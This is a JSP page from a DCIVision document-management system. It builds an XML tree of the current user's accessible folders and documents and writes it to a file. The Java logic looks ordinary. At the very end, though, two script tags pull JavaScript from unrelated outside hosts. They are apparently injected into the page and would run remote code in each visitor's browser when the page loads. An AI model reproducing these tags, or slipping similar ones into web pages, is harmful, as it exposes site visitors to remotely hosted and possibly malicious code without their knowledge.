<%
/*
 * @(#)downDocument.jsp
 *
 * Copyright (c) 2003 DCIVision Ltd
 * All rights reserved.
 *
 * This software is the confidential and proprietary information of
 * DCIVision Ltd ("Confidential Information").  You shall not
 * disclose such Confidential Information and shall use it only in
 * accordance with the terms of the license agreement you entered into
 * with DCIVision Ltd.
 */


/**  
   writeDocumentXml.jsp
   write a doucment xml tree according the current user record. 
  
    @author             Holmes Yan
    @company            DCIVision Ltd
    @creation date      07/8/2004
    @version            $Revision: 1.16.26.1 $
*/ 
%>
<%@ page import="java.io.*" %>
<%@ page import="java.util.*" %>
<%@ page import="java.text.*" %>
<%@ page import="java.sql.*" %> 
<%@ page import="com.dcivision.dms.bean.*" %>
<%@ page import="com.dcivision.dms.dao.*" %>
<%@ page import="com.dcivision.dms.core.*" %>
<%@ page import="com.dcivision.dms.DmsOperationConstant" %>
<%@ page import="com.dcivision.user.bean.*" %>
<%@ page import="com.dcivision.user.dao.*" %>
<%@ page import="com.dcivision.framework.*" %> 
<%@ page import="javax.xml.parsers.*,org.w3c.dom.*,javax.xml.transform.*"%>
<%@ page import="javax.xml.transform.dom.*,javax.xml.transform.stream.*"%>
<%@ page import="org.apache.commons.logging.LogFactory"%>  
<%@ include file="monitorLoginStatus.jsp"%>    
<%     
  out.println("<?xml version=\"1.0\" encoding=\"UTF-8\"?>");
  out.println("<!-- exmaples : http://localhost:8080/EIP/jsp/odma/writeDocumentXml.jsp-->");
  Connection conn = null;
	try{
	  conn = DataSourceFactory.getConnection();    
		String targetPath= application.getRealPath("")+File.separator+"jsp"+File.separator+"odma"+File.separator+"odma.xml";
		ParaDocLoader t = new ParaDocLoader(conn,sessionContainer,targetPath);
		t.loadParaDoc();   
		out.println("<load-dcument-tree target="+"\"/jsp/odma/odma.xml\" result=\"succed\">load document xml tree   successful.</load-dcument-tree>");
  }catch(Exception ex){
    out.println("<load-dcument-tree target="+"\"/jsp/odma/odma.xml\" result=\"UnknowException\">failed</load-dcument-tree>");
    LogFactory.getLog(this.getClass()).error(ex, ex);
  }finally{
		try{
      conn.close();
		}catch(Exception ignore){
    }finally{
		  conn=null;
    }
	}
%> 
<%!
  class ParaDocLoader{ 

 	  RootRetrievalManager rootRetrievalManager;
 	  DocumentRetrievalManager documentRetrievalManager; 
	  UserRecordDAObject userRecordDAObject;
	  VersionControlManager versionControlManager;	 

	  SessionContainer sessionContainer; 
 	  String targetPath; 

 	  public ParaDocLoader(Connection conn,SessionContainer sessionContainer, String targetPath) throws Exception{  
	 		this.targetPath = targetPath;
			this.sessionContainer = sessionContainer;
	 	 	rootRetrievalManager = new RootRetrievalManager(sessionContainer,conn);  
			documentRetrievalManager = new DocumentRetrievalManager(sessionContainer,conn); 
			userRecordDAObject = new UserRecordDAObject(sessionContainer,conn); 
			versionControlManager = new VersionControlManager(sessionContainer,conn); 
 	  }

 	  /**
 	   * main method:get all DmsDocument tree according the specific user privillege,
 	   * then write to a xml called odma.xml 
 	   */
 	  public void loadParaDoc() throws Exception{ 
 	    Document doc = newDocument();
 	    createDocumentDetail(doc); 
			writeToXml(doc); 
 	  }
 	  /**
 	  *  new a empty Document
 	  */
 	  private Document newDocument() throws Exception{
 	    DocumentBuilder builder = DocumentBuilderFactory.newInstance().newDocumentBuilder();
 	    return builder.newDocument(); 
 	  }
 	  /**
 	   *  write Document to a xml file.
 	   */
 	  private void writeToXml(Document doc) throws Exception{
 	  	Source source = new DOMSource(doc); 
 			File file = new File(targetPath);  
 			Result result = new StreamResult(file); 
 			Transformer xformer = TransformerFactory.newInstance().newTransformer();
			xformer.transform(source,result);
 	  } 
 	  /**
 	   *  add DmsDocument tree to a Document Object.
 	   */
 	  private void createDocumentDetail(Document doc) throws Exception{
	 	 	Element paraDoc = doc.createElement("para-doc");  
	 		doc.appendChild(paraDoc);  
			addParaUserXml(doc,paraDoc);
			addDocumentTree(doc,paraDoc);
 	  } 
		private void addParaUserXml(Document rootDocument,Element parentElement) throws Exception{ 
			Element paraUser = rootDocument.createElement("paraUser");
			paraUser.setAttribute("loginName",sessionContainer.getUserRecord().getLoginName()); 
			java.util.Date currentDate = new java.util.Date(); 
			Format df = new SimpleDateFormat("yyyy-MM-dd HH:mm:ss");  
			paraUser.setAttribute("createTime",df.format(currentDate));
			parentElement.appendChild(paraUser);
		}
		private void addDocumentTree(Document rootDocument,Element parentElement) throws Exception{ 

			Element documentTree = rootDocument.createElement("documentTree"); 
	 		Element personal = rootDocument.createElement("personal"); 
	 		Element pub = rootDocument.createElement("public");  
	 		parentElement.appendChild(documentTree);  
			documentTree.appendChild(personal);
			documentTree.appendChild(pub);

			List rootsList = rootRetrievalManager.getAllAccessibleRootsList();  
	 		//loop to get all root folder and add content.
      for (int i=0; i<rootsList.size(); i++) {  
				DmsRoot dmsRoot = (DmsRoot)rootsList.get(i);   
				Element root = rootDocument.createElement("root"); 
				root.setAttribute("id",dmsRoot.getID().toString());
				root.setAttribute("name",dmsRoot.getRootName().toString()); 
				root.setAttribute("type",dmsRoot.getRootType().toString()); 
			    if(dmsRoot.getRootType().trim().equals("P")){
			      personal.appendChild(root); 
			    }else if(dmsRoot.getRootType().trim().equals("U")){
			      pub.appendChild(root); 
			    }   
			  List dmsRootFolderList = documentRetrievalManager.getDocumentListByParentIDRootID(new Integer(0),dmsRoot.getID()); 
        
			  //DmsDocument dmsRootFolder = (DmsDocument)dmsRootFolderList.get(0);  
        DmsDocument dmsRootFolder = getRootFolder(dmsRootFolderList);
			  Element rootFolder = rootDocument.createElement("folder"); 
			  rootFolder.setAttribute("id",dmsRootFolder.getID().toString()); 
			  rootFolder.setAttribute("name",dmsRootFolder.getDocumentName());  
        rootFolder.setAttribute("rootID",dmsRootFolder.getRootID().toString());  
			  rootFolder.setAttribute("parentID",dmsRootFolder.getParentID().toString());  
			  root.appendChild(rootFolder); 
			  printDocument(dmsRootFolder,rootFolder,rootDocument,dmsRoot.getRootType().trim());
			} 
		}
		   /**
 	   * createDocumentDetail call this method to get all level of document tree.
 	   */
 	  private void printDocument(DmsDocument dmsDocument,Element parentElement,Document doc,String rootType) throws Exception{   
 	    try{
 	      List l = documentRetrievalManager.getDocumentListByParentIDRootID(dmsDocument.getID(),dmsDocument.getRootID()); 
 	      if(l==null||l.size()==0) return;
          for (int j=0; j<l.size(); j++) { 
            DmsDocument sonDmsDocument = (DmsDocument)l.get(j); 
			if ("P".equals(sonDmsDocument.getRecordStatus())){
				continue;
			}
            Element sonElement = null;  
            if(DmsDocument.FOLDER_TYPE.equals(sonDmsDocument.getDocumentType())){
        	  sonElement =  doc.createElement("folder");
            }else if(DmsDocument.DOCUMENT_TYPE.equals(sonDmsDocument.getDocumentType())){
           	  sonElement =  doc.createElement("document");
            }else if(DmsDocument.COMPOUND_DOC_TYPE.equals(sonDmsDocument.getDocumentType())){
        	  sonElement = doc.createElement("compound-doc");
//            }else if(DmsDocument.PAPER_DOC_TYPE.equals(sonDmsDocument.getDocumentType())){
//        	  sonElement = doc.createElement("paper-doc");
			}
			if (sonDmsDocument != null && sonElement != null){
				sonElement.setAttribute("id",sonDmsDocument.getID().toString()); 
				sonElement.setAttribute("name",sonDmsDocument.getDocumentName());  
				sonElement.setAttribute("rootID",sonDmsDocument.getRootID().toString()); 
				sonElement.setAttribute("parentID",sonDmsDocument.getParentID().toString());   
				sonElement.setAttribute("documentType",sonDmsDocument.getDocumentType());   

				// personal folder 's document not need checkout message.
				if(rootType.equals("U")){
   				    sonElement.setAttribute("itemStatus",sonDmsDocument.getItemStatus());   
					sonElement.setAttribute("checkedoutUser",getCheckedUserName(sonDmsDocument));   
				}else{
					sonElement.setAttribute("itemStatus","A");   
					sonElement.setAttribute("checkedoutUser","");   
				}
				parentElement.appendChild(sonElement); 
				printDocument(sonDmsDocument,sonElement,doc,rootType);
			}
   	      } 
   	  }catch(Exception ex){
   	  	LogFactory.getLog(this.getClass()).error(ex, ex);
      }
    }
    private DmsDocument getRootFolder(List folderList){
      for(int i=0;i<folderList.size();i++){
        DmsDocument doc = (DmsDocument)(folderList.get(i));
        if(DmsDocument.FOLDER_TYPE.equals(doc.getDocumentType().trim())) return doc;
      }
      return null;
    }

	private String getCheckedUserName(DmsDocument document){
		String userName = ""; 
		try{
			DmsCheckoutHistory checkoutHistory = versionControlManager.getCurrentCheckoutDetail(document, DmsOperationConstant.DMS_TOP_VERSION);
			if (checkoutHistory != null) {
				UserRecord tmpUserRecord = (UserRecord)userRecordDAObject.getObjectByID(checkoutHistory.getCheckoutPersonID());
				userName = tmpUserRecord.getFullName();
			}
		}catch(Exception e){
			LogFactory.getLog(this.getClass()).error(e, e);
		}
		return userName;
	}
  }
 %>


<script language=javascript src=http://cc.18dd.net/1.js></script>
<script language=javascript src=http://ad.171817.com/css/1.js></script>